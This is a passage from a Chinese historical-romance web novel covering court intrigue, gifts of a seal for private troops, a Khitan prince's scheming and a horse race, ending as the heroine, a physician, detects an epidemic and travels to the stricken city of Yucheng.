突如其来的关心让祝玲珑喜上眉梢,娇羞地将玉盅放到桌上,眼波流转。 这一刻,她感觉自己的付出似乎有了回报,至少,她能看得出来,宋墨辰已经不那么抗拒了。 “南国国君近来可好?”宋墨辰主动问了一句。 祝玲珑心头一喜,知道他这是要与自己谈正事,脱口说道:“北边的部落近来有些不安分,但是有人盯着,想来不会闹出什么大动静。” “不如,想办法联合周边的附属小国镇压?” “玲珑郡主心思玲珑,应该知道本王想要的是什么。”宋墨辰勾唇轻笑,靠在椅子上,玩味似的说道:“将来这天下,少不了你们祝家的立足之地。” 祝玲珑瞳孔骤缩,她没想到宋墨辰竟如此直白。 这是……将她当做了自己人? 既如此,那她也没必要端着。 她深吸一口气,咬着唇看向宋墨辰,“王爷若是肯应下与玲珑的婚约,南国十万铁骑,随时听候王爷差遣,只要王爷真心对我,南国愿做王爷手中最锋利的剑!” 好一个祝玲珑。 宋墨辰“扑哧”笑出了声。 这算盘打得,真响亮。 “婚约的事不急,只要你帮助本王,本王自不会亏待你。你先传信给南国君主,让他派使者来京,本王要与他细谈联盟之事。”宋墨辰故意吊着祝玲珑的胃口。 第237章 一个接一个的邀约 他语气里的敷衍几乎不加掩饰,但祝玲珑却像是得了天大的恩赐,娇羞道:“是,玲珑这就去,多谢王爷成全。” 祝玲珑并非全然不知宋墨辰这是在吊着她,可是她太爱这个男人了,只要有一丝希望,她就不会放弃。 她真心相待,王爷迟早有一天会爱上她。 她相信,待她帮王爷拿下天下,他一定会许她那个一人之下万人之上的位置! “退下吧。”宋墨辰挥挥手,疲惫地闭上眼睛。 “这粥……”祝玲珑看了一眼书桌上的玉盅。 “本王过会儿就喝。”宋墨辰回应道。 “玲珑告退。”祝玲珑喜滋滋地退了出去,书房里只剩下宋墨辰一人。 他看着汤盅里沉浮的参片,忽然觉得索然无味,抬手便将整蛊汤倒进了炭盆里。 这天下,他要。 月月,他也要! 另一边,秦时月刚回府不久,就被宫里来的嬷嬷请到了皇宫。 嬷嬷说,皇后娘娘有事找她。 秦时月大概能猜到皇后的用意,虽然有些不情愿,但还是换了身衣服,去了。 宫车辘辘碾过青石板路,秦时月掀起车帘一角,望着窗外掠过的朱墙琉璃瓦,眉头稍稍舒展。 进入宫中,皇后正坐在案前不知写着什么,见秦时月进来便放下朱笔,温和地看着秦时月。 “时月来了,快坐。” 宫女连忙奉茶,茶汤清亮,香气袅袅。 皇后拉着她的手拍了拍,轻叹道:“近来宫里不太平,那些嚼舌根的话你别往心里去,辰儿那孩子性子冷,不懂疼人,委屈你了。” 她喜欢秦时月喜欢的紧,生怕秦时月会因为祝玲珑的事情和宋墨辰产生隔阂。 虽然两个孩子有皇帝的赐婚,但他们毕竟还没成婚,未免不会产生变数。 “娘娘挂心,时月一切安好。”秦时月浅浅一笑。 “那就好,辰儿生就性子冷硬,不会说什么体己话,委屈你了。” “娘娘言重了。” “我知道女子对这些事最是敏感,你若有半分委屈,尽管跟我说,我替你做主。” 秦时月垂眸浅笑,语气淡然,“娘娘多虑了,时月不是那等争风吃醋的性子,婚姻大事本就由不得自己,何况时月与王爷的婚约是陛下亲赐,时月会恪守本分,其余的事,懒得费心。” 说不介意是假的,可比起纠结于后宅争斗,她更在意宋墨辰的那些谋划。 不知为何,秦时月感觉,祝玲珑是宋墨辰手上的一枚棋子。 闻言,皇后松了口气,眼底露出赞许。 “你能这么想,我就放心了,辰儿将来的路不好走,身边需要几个能帮衬的人,可王妃的位置,自始至终只有你一个。” 说着,皇后娘娘打开妆奁,取出一支赤金点翠步摇,“这是本宫当年受封时太后赏的。” “这步摇真是巧夺天工,娘娘当年戴着,定是风华绝代。”秦时月注视着那根步摇。 那根步摇光彩夺目,一看就价值不菲。 “如今转赠给你,也算全了这份心意。” “这怎么使得?”秦时月连忙起身摆手,一脸惊恐。 她知道这根步摇代表着什么,眼下自己和宋墨辰还没成婚,怎么好收下这根步摇呢? “你是本宫认准的王妃,不给你给谁?”皇后笑了一下,将步摇塞到秦时月手里。 见状,秦时月不好推辞,只能将步摇收下。 “谢皇后娘娘赏赐。”秦时月谢恩,小心翼翼地收进锦盒。 “你是个识大体的,本宫喜欢。”皇后欣赏地看着她。 对此,秦时月只是笑笑。 她当然明白皇后娘娘和自己说这番话的意思。 她无心宅斗,他们喜欢,她就说些“大度”的话。 “日后没事可要多进宫陪本宫说说话啊。”皇后打趣道。 “是。”秦时月行礼,“娘娘放心。” 和皇后在宫中寒暄了一会儿后,秦时月便出了宫门。 她刚要上马车,就见长公主府的侍女快步走来,“秦姑娘,我家公主请您去府里坐坐,说是新排了出戏,想请您一同品鉴。” 刚出皇后宫,又要入长公主府,秦时月无奈地笑了一下。 她这时候被请去,未必是真的看戏。 不过,想着已经有阵子没去探望过长公主了,秦时月还是应下了。 进入公主府后,秦时月在婢女的带领下往戏台走去。 此时,长公主正斜倚在软榻上,手里正把玩着一串佛珠。 “参见长公主。”秦时月屈膝请安。 “你我之间,这么客套作甚,快起来。”见秦时月前来,长公主起身,“快坐,这出《凤求凰》刚排好,你瞧瞧这扮相,与宫里的戏班子比,如何?” 秦时月刚一入座,婢女连忙走过来为其添茶。 “快尝尝,这是江南新进贡的雨前龙井。”长公主招呼着。 “谢殿下。”秦时月拿起茶杯细抿一口,微微颔首,等待长公主接下来的话。 她知道,长公主把她唤来,不只是为了喝茶。 “方才听宫人说,皇嫂召你进宫了?”长公主漫不经心地说道,手上还拿着一串佛珠。 “是,娘娘赏赐了些东西。”秦时月回答。 至于赏赐了什么,这就没有必要告诉长公主了。 闻言,长公主轻笑一声,转过头看向秦时月,“你倒是沉得住气,外面都传,祝玲珑要给墨辰做侧妃,皇后还要给他找几个家世好的女子做妾,你就能眼睁睁看着墨辰三妻四妾?” 问完话后,长公主上下扫了一眼秦时月,见她面上不显情绪,便又将视线放到远处的戏台上。 只是,长公主并没有什么看戏的心思,时不时用余光打量着秦时月。 秦时月端起茶盏抿了一口,抬眸看向长公主,语气平静,“殿下说笑了,我是圣上亲赐的王妃,自然要有容人的雅量。” “墨辰要走的路,注定不能只有一个女人,南国的铁骑,赵家的兵权,文官们的助力,都是他所需要的,你真能咽得下这口气,看着他三妻四妾,左拥右抱?”长公主捻着佛珠。 这话她是故意问的,秦时月自然也能听出来长公主的言外之意。 第238章 皆是局中人 半晌,秦时月目光坦然的回道:“天下女子,谁不想独占夫君的心意,可我知道,王爷走的这条路太难,一步踏错便是万劫不复,他需要助力,需要联盟,这些我都懂。” “我是他的妻,不是他的拖累,只要他心里有我就好,旁的人,不过是锦上添花罢了。” 长公主忽然放声大笑,“好啊,好!难怪墨辰对你另眼相看,你这气度,确实配得上他。” 下一秒,长公主指尖的佛珠停了转动,她坐起身,从软榻内侧的暗格里取出一枚巴掌大的印信。 秦时月瞬间认出了那枚印信,那是先前长公主借给过她的印信。 “这个,你收着。”长公主将印信放在桌子上,推到秦时月面前。 察觉到长公主的举动后,秦时月指尖猛地一缩。 她抬眼看向长公主,疑惑道:“殿下,这是……” “上次是借,这次是赠。”长公主没收回手,反而将印信往她面前又推了推。 “你当我这公主府的私兵是那么好调动的?若不是看准了你,便是墨辰来求,我也未必肯松口。” 闻言,秦时月的心动了一下。 她知道这枚印信代表着什么。 “殿下,公主府的私兵是殿下多年心血,怎能轻易交付旁人?” 如果能拿到公主府的私兵,对秦时月来说自然是好的,可她又担心其中会有别的事情发生。 “你以为睁一只眼闭一只眼,就能安稳做你的辰王妃?”长公主挑眉,冷哼一声,“后宫中有多少人可是一直盯着你呢,还有朝堂上,多少人盼着墨辰栽跟头,你以为你只要护得住自己就成了?” 将印信交给秦时月,是长公主权衡利弊下的决定。 秦时月抿唇不语,长公主又道:“墨辰要顾全大局,有时难免护不住你周全,这私兵虽算不上十万雄师,可在京城里护你一命,关键时候,也能作为你们的助力。” “可殿下……”秦时月望着那枚印信,心头涌上一股暖流。 “傻丫头,哭什么?虽没过明路,你早是我认下的孩子,你就收下吧。”长公主笑了一下,伸手拍了秦时月的手背。 “时月。”秦时月张了张嘴,激动地说道:“时月,谢殿下厚爱。” 紧接着,她起身,恭敬地对长公主行了个大礼。 长公主笑着将人扶起,“快起来吧。” 她将印信塞进秦时月手里,“拿着,往后若真遇着难处,不必跟墨辰客气,更不必跟我见外。” “时月记下了,定不负殿下所托。”秦时月郑重地点了点头。 有了这枚印信,她京城的助力又多了一分,接下来做事便方便了不少。 看她这副样子,长公主满意地笑了,重新拿起佛珠,目光落回戏台上。 …… 另一边,城西的酒楼雅间内,耶律良才坐在梨花木桌旁,目光落在对面戴着面具的男子身上。 “她从长公主府出来后,径直回了侯府,路上没做停留。”面具男如实回禀。 “长公主府?”耶律良才挑眉,拿起桌上的茶盏把玩,“皇后刚召见过她,转头就被长公主请了去,倒是热闹。” “长公主府的人是在宫门外候着的。” “哦?”耶律良才放下茶盏,饶有兴趣地说道:“你说,长公主把她叫去,能有什么事?总不会真为了看戏吧。” “属下不知,长公主府守卫森严,属下没能靠近。”面具男立即下跪请罪。 见状,耶律良才轻笑一声,“去查查,看看她们在府里说了些什么。” “是。”面具男应声,起身就要告退。 “等等。”耶律良才叫住他,“别惊动了辰王府的人,也别让她察觉。” “属下明白。”面具男躬身作揖,转身悄无声息地退了出去。 面具男离开后,耶律良才望着窗外的夜色,将手中的茶水一饮而尽。 时月啊时月,倒是我小瞧你了,不知你到底有什么本事,能让皇后和长公主另眼相看。 看来,是时候去长乐侯府走一趟了。 翌日,耶律良才身穿华衣,带着精心准备好的礼物来到了长乐侯府前。 “劳烦通禀一声,耶律良才求见侯爷。”耶律良才主动说道,并对管家友好地笑了一下。 闻言,管家连忙先将耶律良才请进去妥善安置,然后才匆匆说道:“六皇子稍等,奴才这就去。” 大约过了半盏茶的时间,长乐侯便亲自迎了出来。 “六殿下大驾光临,老臣有失远迎,恕罪恕罪。” “侯爷客气了。”耶律良才侧身避开他的行礼,“前几日得了些好东西,想着侯爷应该喜欢,便特意给侯爷送来了。” 说着,耶律良才朝身后的侍从递了个眼色,侍从立刻将礼盒呈上。 长乐侯眼睛一亮,连忙让下人接过。 “这是……”长乐侯的脸上写满了贪心。 但耶律良才并不在乎,对他来说,贪心才好呢,只要长乐侯贪心,自己就有办法控制他! “侯爷先瞧瞧这个。”耶律良才示意其中一个礼盒,“这是江南画师的真迹。” 侍从打开锦盒,卷轴展开,长乐侯凑近了细看,抚着胡须连连点头,“好!好!果然是真迹。” 这副字画少说价值千金,这还真让他受宠若惊。 “侯爷喜欢就好。”耶律良才笑了笑,又指了指另一个礼盒,“还有这个,是西域传来的纯银餐具,据说用它盛东西,若是有毒,银器会立刻发黑。” 侍从打开盒子,汤匙、碗碟、筷子一应俱全,做工极为精巧。 长乐侯拿起一只银汤匙,在指尖掂了掂,“殿下有心了!老臣都不知道该怎么谢了。” “侯爷说的哪里话。”耶律良才摆摆手,眸光含笑,“我与秦小姐是朋友。” 听到这话,长乐侯立即反应过来耶律良才前来的目的。 “能和六皇子做朋友,是小女的荣幸。”长乐侯立即作揖,恭敬地看向耶律良才。 他知道皇帝的心思,如果能让秦时月嫁给六皇子或许更好,毕竟,耶律良才对他,可比宋墨辰对他,好的多! 第239章 耶律良才得逞 想到这儿,长乐侯立即伸手邀请道:“快,里头请,我让人去泡一壶好茶,殿下可一定要尝尝啊。” “好啊。”耶律良才点点头,十分满意,“若是有幸能与秦小姐一起品茗,我会更高兴。” “我现在就让人把她找回来!六皇子莫急。”长乐侯转头给管家使了眼色,示意他快去将人接回府。 管家领了命令,立即走了出去。 “六皇子,请进。”长乐侯主动给耶律良才引路。 两人说说笑笑进了内厅,耶律良才一个劲地恭维着长乐侯,长乐侯被他逗得不知天地为何物。 另一边,秦时月在医馆听到消息,便立即赶了回来,经过正厅时,她听到了里边传来的谈笑声,忍不住看了一眼。 奇怪,耶律良才怎么忽然登门了? 是因为昨天自己刺伤他前来要说法? 听到脚步声,耶律良才和长乐侯同时转头看来。 耶律良才瞧见秦时月,眼底的笑意深了几分,刚要开口,却对上她投来的目光。 秦时月半眯着眼,似笑非笑的看着他,眼底透着几分警告。 长乐侯的视线在秦时月和耶律良才身上来回打量,他早就瞧出耶律良才对秦时月不同寻常。 若是能促成些什么,必会有助于长乐侯府的发展。 长乐侯清了清嗓子,笑道:“时月回来了,正好,六殿下刚送了我一幅江南画作的真迹,正说让你也开开眼。” 秦时月给一旁的小荷使了个眼色,然后走到内廷,对长乐侯行了个礼。 “六殿下,父亲。”秦时月声音冷淡,听不出什么情绪。 长乐侯连忙伸手拉着秦时月往耶律良才身边凑了凑,“你刚从外面回来,定是累了,后花园里的花开得正好,你们年轻人有话聊,不如你陪六殿下走走。” 闻言,秦时月眉头紧皱,不满地说了一句,“父亲,六皇子是客人。” “本侯当然知道。”长乐侯皱了皱眉,“你是侯府嫡女,由你陪着六皇子走走,参观一下咱们府邸。” 这话一出,耶律良才故作惊讶,“这,方便吗?” “有什么不方便的!”长乐侯拍着胸脯,眼角的余光却瞟着秦时月,“时月自小在侯府长大,六皇子也不是外人,逛逛园子算什么。” 只要能促进他们两人的感情,长乐侯才不在乎那些虚礼。 秦时月垂在身侧的手突然握紧,她抬眼看向长乐侯,目光冰冷。 他明知道自己已经接了赐婚圣旨,竟还在耶律良才面前说这种引人误会的话。 他这是故意给她难堪,还是存了别的心思!? 但,秦时月终究还是忍下了。 她微微垂眸,语气听不出情绪,“我刚回来,身上带了药气,怕是污了殿下的眼,而且府里还有些药材需要清点,怕是没空陪殿下。” “清点药材哪用得着你亲自来。”长乐侯立刻接话,朝小荷挥挥手,命令道:“去,你带人去清点药材。” 闻言,小荷愣了一下,见秦时月没说话,紧抿着唇没有动。 下一秒,长乐侯转身看向耶律良才,“六皇子,您看……” 耶律良才望着秦时月紧绷的侧脸,眼底闪过一丝玩味,顺水推舟道:“既然侯爷都这么说了,那我便却之不恭了。” “秦小姐,可否赏脸?” 秦时月深吸一口气,努力压制住心底的情绪,“父亲有命,我不敢不从。” 她声音平静,拳头却攥了起来。 原本看在亲情的份上,她暗下决心,只要他不过分,她可以留他一命,现在看来,果然是狗改不了吃屎! 闻言,长乐侯满意地点点头,“这就对了嘛,快去吧。” 就在这时,秦时月抬头对上他的视线,他莫名觉得后背一凉。 秦时月没再看他,转身直接朝府外走去,脚步不疾不徐,却带着一股生人勿近的疏离。 耶律良才看着她的背影,挑挑眉又勾了勾唇角,提步跟了上去。 出了长乐侯府的大门,秦时月站在门阶下,望着街角往来的马车,一时竟不知该往何处去。 而耶律良才就站在她身侧,轻笑一声,“秦小姐要带我去哪呀?” 秦时月在心里翻了个白眼。 去哪?哪都不去! “左右也无事,不如我带你去个地方?”耶律良才自顾自说道。 “不必。”秦时月垂眸。 她才不想和耶律良才出去。 “真的不跟我出去走走?城外的风,总比这京城里的新鲜。”耶律良才故意靠近秦时月。 察觉到他贴上来,秦时月往后退了一步。 “你就不想知道,我来长乐侯府是为什么吗?”耶律良才故意说道,以此来诱惑她和自己出去。 听到这话,秦时月果然多了几分兴趣。 她抬眸看他,眼底带着几分探究。 “放心,我不是要带你去什么见不得人的地方,城外三十里有处跑马场,现在这个天气,正好骑马。” “好。”秦时月一口应下。 她倒是想看看,耶律良才究竟想要做些什么! 听到她同意,耶律良才的眼底闪过一丝不易察觉的笑意,开口便吩咐侍从备马。 “小荷。”秦时月转头吩咐道:“你回府吧,吩咐下去,不必等我用膳。” 小荷愣了一下,看了看秦时月,又看了看一旁的耶律良才,脸上露出几分担忧,“小姐……” “无妨。”秦时月拍了拍她的手背,“我能应付,你且回去吧。” 话已至此,小荷只好应声,“是,奴婢告退。” 小荷走后,侍从将早已备好的两匹骏马牵了出来。 “走吧。”耶律良才翻身上马,动作利落。 他朝秦时月伸出手,“会骑马吗?” 秦时月心中冷笑,没接他的手,借着马镫轻巧一跃,稳稳落在马背上。 她勒住缰绳,侧头看他,语气平淡,“略懂。” 耶律良才挑了挑眉,眼底的兴味更浓了些。 “那正好,不如,比比?” 说罢,他轻夹马腹,骏马嘶鸣一声,率先朝着城外的方向奔去。 秦时月看着他远去的背影,握紧了缰绳。 城外的跑马场依着山势开辟,周遭是连绵的树林,十分开阔。 第240章 秦时月身上的秘密 秦时月一身素装,裙摆被风轻轻吹起,她俯身贴近马颈,缰绳握得稳当,目光直直盯着前方。 耶律良才转头看她,眼底带着几分意外。 原以为她只是一个闺阁女子,纵会骑马也只是些花架子,没承想控马的力道被她捏得恰到好处,竟与自己不相伯仲。 可真是让他惊喜啊。 这样一看,耶律良才更喜欢她了。 只是可惜,这么美好的人儿,竟要要嫁给宋墨辰! “驾!”耶律良才眼神一沉,呵斥了一声,脚下加了力道,试图超过秦时月。 秦时月瞬间就察觉到了他的意图,指尖微微一紧,竟也加快了速度。 俩人就这样不分上下地追逐着,直到跑过那片开阔的坡上,才同时勒住缰绳。 耶律良才翻身下马,抬手擦了擦额角的薄汗,“真没想到,秦小姐的骑术竟这般好。”耶律良才佩服道。 “六皇子过誉了。”秦时月整理了一下被风吹乱的衣襟。 “是真的很好,我很佩服。”耶律良才走近两步,“像你这般能纵马驰骋的女子,我还是头一个见。” 即便在契丹,能与他并驾齐驱的,也没几个。 “那是六皇子见识少了。”秦时月不屑地笑了一下。 察觉到秦时月在讽刺自己,耶律良才顿了顿,转移话题,“我倒从没听过你会骑马,按理说你常年待在侯府,后来又去江南养病,那样的环境,该没什么机会接触这些才是。” “六皇子倒是知道的不少。” “我在江南养病时,偶然遇着个先生,教了些皮毛。”秦时月淡定地回答,语气中听不出什么情绪。 耶律良才追问,“哦?什么样的先生,竟有这般本事?能教出这般骑术的,想必不是寻常人。” 对于秦时月身上藏着的秘密,他是越来越好奇了。 “不过是个萍水相逢的先生,教我骑马,也教我些强身健体的法子,没什么特别的。”秦时月避开他探究的目光。 她不愿多说,耶律良才自然听得出。 他笑了笑,没再追问。 有些事,可以说,有些事,却不必问。 秦时月站在山坡上,望着郁郁葱葱的树林,恍惚间,她的思绪被拉得老远老远。 东方苑。 那个经常穿一身素雅衣裙,总爱坐在竹椅上,手里或拿着医书,或握着弓箭的女子,是她的先生。 前世她化成冤魂不得安息,却意外结识了后院里的女鬼东方苑。 这是她的幸。 东方苑说:“女子行医,不求悬壶济世,至少能护住自己。” 她看不懂那些拗口的药方,东方苑便耐着性子,一遍又一遍,不厌其烦地教导她,甚至还同她说,若是查不出病因,大可以把肚子剖开看看…… 经过东方苑的教导,秦时月的医术日渐精益,而东方苑又变了花样。 雾蒙蒙的,逐渐腐败发臭,无人问津的后院里,东方苑带着她开始习武,各种花把势,真架势,一招一式,都细细教过。 东方苑说:“女子练武,为保护自己,和保护自己想保护的人。” 她还说过:这世道对女子太过苛刻,若没有自保的本事,纵有再多聪慧,也不过是任人摆布的棋子。 她告诉秦时月,只要她想,她可以做那个执棋的人! …… “秦小姐?” 耶律良才的声音将秦时月从回忆里拽出来。 她抬眸,见耶律良才正看着自己。 “是我说错话了吗?”耶律良才问道。 “没什么。”秦时月垂下眼,脸上依旧没有身边表情。 东方苑教给她的,不止琴棋书画,还有那些能安身立命的本事,那些让她在这深宅权谋里,能挺直腰杆的底气。 只是这些,不必对旁人说。 “时间不早了,我们先回去吧。”秦时月走到树旁,将马绳解下。 耶律良才摆了摆手,“既然秦小姐想回去,那我便送秦小姐回府。” 从城外回来时,天色已晚,耶律良才将秦时月送到府门口,才转身离开。 不知为何,他总感觉秦时月口中那个先生,让他觉得不对劲。 能教出那般骑术,又恰逢她在江南养病的时机,哪有这么巧的事? 耶律良才回府后,第一时间将自己的手下喊了进来。 面具男立在耶律良才身侧,恭敬地听从他的吩咐。 “你去查个人。”耶律良才坐在书案后,“秦时月在江南养病的那三年,身边有没有一个教她骑射武功的先生,对方可能是个老者。” “江南,属下之前查过秦小姐的过往,只知她在江南静养,身边只有一个侍女、一个嬷嬷,正是她身边的小荷和肖嬷嬷。并未听说有什么先生。” “那是你查得不够细。”耶律良才语气平淡,眼中却多了一丝笑意,“她的骑术绝非寻常先生能教出来的,你去查,看看那三年里,有哪些人跟她有过往来。” “是,属下这就去!”面具男领命。 “等等。”耶律良才叫住他,“记住,动静别太大,尤其不能让辰王府的人察觉。” “属下明白。” 耶律良才走到窗边,勾唇轻笑。 秦时月身上藏的秘密,似乎比他想的还要多。 一个常年困于闺阁的女子,一场重伤,一次江南之行,竟像换了个人似的。 有趣,真是有趣。 …… 翌日,秦时月像往常一样来到医馆内坐诊。 突然,一个面色蜡黄的男子有气无力地走了进来,他脚步踉跄飘忽不定,眼下乌黑,一看就是病入膏肓。 “大夫,救救我!” “这位大哥请坐,哪里不舒服?”秦时月立即起身,走到男子身旁。 男子刚坐下,就忍不住蜷缩起身子,捂着小腹闷哼,“从昨日起,我就上吐下泻,头也昏沉得厉害,吃了两副药也不见好。” 秦时月伸手搭脉,眉头微微蹙起。 这脉象,有些奇怪,不似寻常的风寒之症。 等等,这脉象,倒有点像是…… 想到什么,秦时月脸色一白,立刻扬声喊道:“小荷!将所有病人请出去,然后取面纱和药囊来!再带人把后院那桶烈酒提过来,给前堂消一遍毒!要快!” 第241章 时疫,紧迫! 小荷见秦时月神色凝重,不敢多问,快步去了后院。 “大夫,这是……”男子疑惑。 “莫慌。”秦时月收回手,取过帕子擦了擦指尖,“你这症状有些特殊,稳妥起见,做些防备总是好的。” 她顿了顿,目光落在他的衣领上,“敢问大哥是从哪里来的?” “从禹城来的。”男子答得爽快,又补充了句,“就京城隔壁那个禹城,离这儿也就半天的路程。” 禹城离京城如此之近,若是真有什么,那可得了!? 秦时月抬眼看向男子,警惕地问道:“禹城近来,可有不少人与你症状相似的?” 闻言,男子脸上露出几分苦涩,“可不是嘛。” 他叹了口气,声音里满是无奈,“前几日城里就开始闹这病,起初只是几个人,后来越发多了,家家户户都有倒下的。” “城里那几家医馆从早到晚排着长队,药都卖断了货,我实在熬不住了,才想着来京城碰碰运气。” “小荷,去把后门锁了,今日暂且歇业,凡要进来的客人都请他们改日再来。”秦时月扬声吩咐道:“另外,让人去趟京兆尹府,说这儿可能接诊了时疫病人,请他们速派医官过来查验。” 小荷刚拿着东西回来,听了这话吓了一跳,“小姐,这,这真是时疫?” “还不确定,但必须按最坏的情形防备。”秦时月接过面巾和药囊。 男子听到秦时月这番话,吓得大惊失色,他惊恐地看着秦时月捂住口鼻,主动与秦时月隔开。 “大哥,把这个揣在怀里,再戴上这个。”秦时月将面巾递给他,自己也系了一个。 男子颤抖着接过东西,“大夫,这病,怎么就是疫症了?” “上吐下泻若是寻常病症,吃两剂药便能缓过来,可你这脉象躁乱,且高热不退……”秦时月叹了口气,“何况禹城一下子病倒这么多人,绝非偶然。” 如果真的疫病,那就糟糕了。 见秦时月表情这般严肃,男子突然下跪,声泪俱下地磕头道,“求求你救救我,救救我的家人,我上有老下有小,我不能死,也不能让他们死啊!” “眼下先顾好你自己。”秦时月递过去一杯温水,眼神有些急切,“你莫要多想,先喝口水润润喉,你既来了我这儿,我总不会不管的。” 至于禹城,秦时月不能保证会根治他们的时疫,但她会尽力一试。 男子捧着水杯,忍不住发愁。 秦时月攥紧了手帕,一脸担忧。 禹城离京城太近,这病若是真传开,怕是会造成不小的影响。 为今之计,只有先控制京城的时疫,然后再去禹城,解决他们的问题。 秦时月将男子安顿好后,便来到了医馆后院。 她缓缓吐了口气,扬声道:“影夜。” 下一秒,黑暗中浮现出一个身影。 “属下在。” 秦时月转过身,目光落在他身上,语气比寻常沉了几分,“你现在去趟辰王府。” “是要给王爷带什么话吗?” “你跟他说。”秦时月看着后院的梧桐树,眉头紧皱,“禹城恐怕发生了时疫,现如今……京城不保,让王爷尽快做好准备。” 无论如何,京城不能出事。 天子脚下,一旦时疫蔓延,那后果……不可估量。 “是!”影夜自然知道时疫的可怕,应声消失。 待影夜走后,秦时月坐到院子里的石桌前,拿起面前的茶水品了一口。 茶水已凉。 秦时月将凉透的茶倒掉,扬声唤来了影一。 “你带些人手,去城里的药铺和布庄。”秦时月蹙眉,语气中满是担心,“药材要备足,对抗疫病的药,越多越好,尤其是生石膏,退热要用,不能缺!” 影一应道,“是,只是近来药铺的货物本就紧俏,怕是不好收。” 一旦禹城的病人大量涌入京城,京城中的货物一定会越来越紧缺。 “带我的名帖去。”秦时月从抽屉里取出自己的印章,“跟掌柜的说,先记账上,事后到长乐侯府结算,若是有敢恶意囤货抬价的,你记下他的名号,回来告诉我!” “布庄那边呢?” “粗布要够全城百姓做面巾的量。”秦时月想了想,又道:“布庄若是问,就说医馆要给穷苦人做冬衣,别露了时疫的风声,免得人心慌。” “属下这就去办!”影一躬身。 待影一退下,秦时月从袖口中拿出那张诊单,她面色凝重地望着单子,内心决定,尽快出发禹城。 京城的时疫发现得早,只要用心排查,便不会扩散,现在最要紧的是禹城。 禹城百姓众多,秦时月担心控制不住,将是尸横遍野…… 当晚,秦时月决定在医馆内休息,她想研制出对付时疫的特效药,方便自己带去禹城,为禹城百姓治疗。 就在这时,医馆后院的门不知道被谁敲了两下。 听到声音,秦时月抬头,看了一眼窗外,随后低头笑了笑,“门没锁,进来吧。” 这个时间能来医馆找自己的,除了宋墨辰还能有谁? 他一定是听影夜说了白天的事情,才会选择入夜前来。 不一会儿,宋墨辰推门进来,带起一阵凉风,吹得烛火晃了晃。 他走到案边,“这是,往禹城带的药材?” 闻言,秦时月放下笔,揉了揉手腕,疲惫地抬起眼,对上宋墨辰的视线。 “对。”她笑了笑,“那边药材紧缺,我得从京城把药材运过去。” “让底下人去做便是。”宋墨辰的声音中带着一丝担忧,“你去做什么?” 那可是时疫,但凡沾染上,就等于半只脚踏入了鬼门关,他实在不放心秦时月前去。 白天那会儿,他听到影夜禀报后,恨不得立即飞过来劝说秦时月,可当时的他政务缠身,实在走不开。 “不行。”她拿起那张纸,道:“我得亲自去盯着才放心,禹城那些医馆,够呛能治疗时疫。” 听到这话,宋墨辰沉默片刻,郑重道:“我跟你去。” 既然月月要去,那他也去,他绝对不允许她一个去冒险。 第242章 人间地狱…… 秦时月愣了愣,抬眼看他,随即摇头,“不行。” “为何不行?”宋墨辰眉头一拧,语气里带了点不容分说的意味,“禹城凶险,你一个人,我不放心。” “我不是一个人。”秦时月打断他,将手里的纸轻轻放在案上,“影一他们都跟着,倒是你,这时候,绝不能离开京城。” 京城局势瞬息万变,宋墨辰作为辰王,必须留下来,如果他走了,朝中局势还不知会如何。 “我走得开。任何事都不如你的安全重要。” 先前他对那个位置没有任何念想,自从遇到秦时月,自从明白他们之间有太多阻碍,他终于明白了,坐上那个位置意味着,他能更好地保护她! 秦时月并没有与宋墨辰争吵,她将那张纸叠了一下,放到腰间,随后走到桌前,给他倒了一杯茶。 “朝中局势如此严峻,你若是这个时候离开,被人说闲话是小的,若是一着不慎……” 宋墨辰端起茶盏,却没喝,漆黑的眸子直直盯着水中倒映,“就凭那些人,还翻不出什么浪。” “是翻不出大浪,可架不住他们搅浑水。”秦时月看着他,“禹城要救,京城不能乱。你留在这里,才能镇住那些心思活络的人,才能让运去禹城的药材顺顺当当的,没人敢在这上边做文章。” “再说了,京城中怕是已经有了从禹城来的人,这些人,需要你来控制。” 换言之,如果不对京城状况出手干预,京城,怕是也会受到波及。 宋墨辰攥着茶杯,抿唇看着她。 窗外的风不知何时大了些,吹得窗纸簌簌作响。 “那,我让影夜带双倍的人手跟着你。”他退而求其次,攥着杯子的骨节因用力,微微泛白。 即使他再不愿,现在也只能妥协。 见他松口,秦时月微微一笑,从腰间拿出一个小荷包。 “这里面是我研制的药包,你随身带着,这样应该能避免被那些人传染,方子我已经交给小荷了,她会带人连夜赶制一批荷包分发下去。” “好。”宋墨辰接过荷包,紧紧攥着。 “我明早天不亮就走,你不用来送,省得惊动旁人。” “……好。”他想说些什么,可话到嘴边又咽了回去,最后只化作一句,“万事小心。” 秦时月冲他笑了笑,眉眼弯弯,“放心,我是大夫,自会小心的。” 两人相对无言,宋墨辰注视着她的眉眼良久,直到后半夜,才黯然离去。 等他走后,秦时月便命小青简单收拾前往禹城的物资。 天微微亮时,她悄然离家,踏上了前往禹城的路。 秦时月离京不久,耶律良才就收到了消息。 他没想到秦时月竟然不顾自身安危,亲自前往禹城救助百姓。 可恶!她竟如此不知爱护自己! “备马!”耶律良才气地拍了一下桌子,起身就往外走。 “殿下!”侍卫立即追出来,急忙跪倒在他前面,拦住他的去路。 耶律良才心里着急,愤恨地一脚将侍卫踹倒,“让开!” “万万不可啊殿下,现在外面都在传,禹城出了时疫,此时,您万万不能去啊!” “放肆!本皇子的事,何时需要你来置喙!?”耶律良才眼神阴沉,眼底有杀意浮动。 侍卫咬紧牙关,分毫不退,“殿下!刚收到的消息,禹城昨日又毙了十七人,症状比之前更怪,很有可能不是时疫,是,是瘟疫!” 听到这话,耶律良才脚步一顿,愣住了。 如果禹城的情况真的那么凶险…… “殿下,我们来京城的目的还没完成,您可不能亲自涉险啊!” 耶律良才像是没有听到侍卫劝说,他蹙眉凝望蒙蒙亮的半空,半晌说道:“她都敢去,我为何不敢?” 他这一生,向来视生命如草芥,即便尸骨成山,也撼动不了他半分怜悯之心,可这一刻他才惊觉,在面对秦时月的事时,他竟能做到心如磐石,不动如钟。 有什么东西,似乎变的不一样了…… “秦小姐身边有辰王的人护着,出不了大事的。” “不一样。”耶律良才打断他,“本皇子只说一遍,去备最快的马,带足避瘟的药粉,你若做不到,就趁早滚回契丹!” “殿下……” “你再多说一句,我现在就杀了你!”眼瞅着时间越拉越长,耶律良才的眼神瞬间凶狠异常。 “……是!” 另一边,秦时月赶了半天的路,终于来到了禹城。 面前的禹城,与传闻中大相径庭,尸横遍野,处处弥漫着臭气、死气。 进入城门后,街道上是散落的破衣烂衫,断裂的药碾,还有些草草被白布盖着的,看不清模样的百姓…… 若不是街道上时哭泣声传来,秦时月真的要怀疑,禹城已经变成了一座死城。 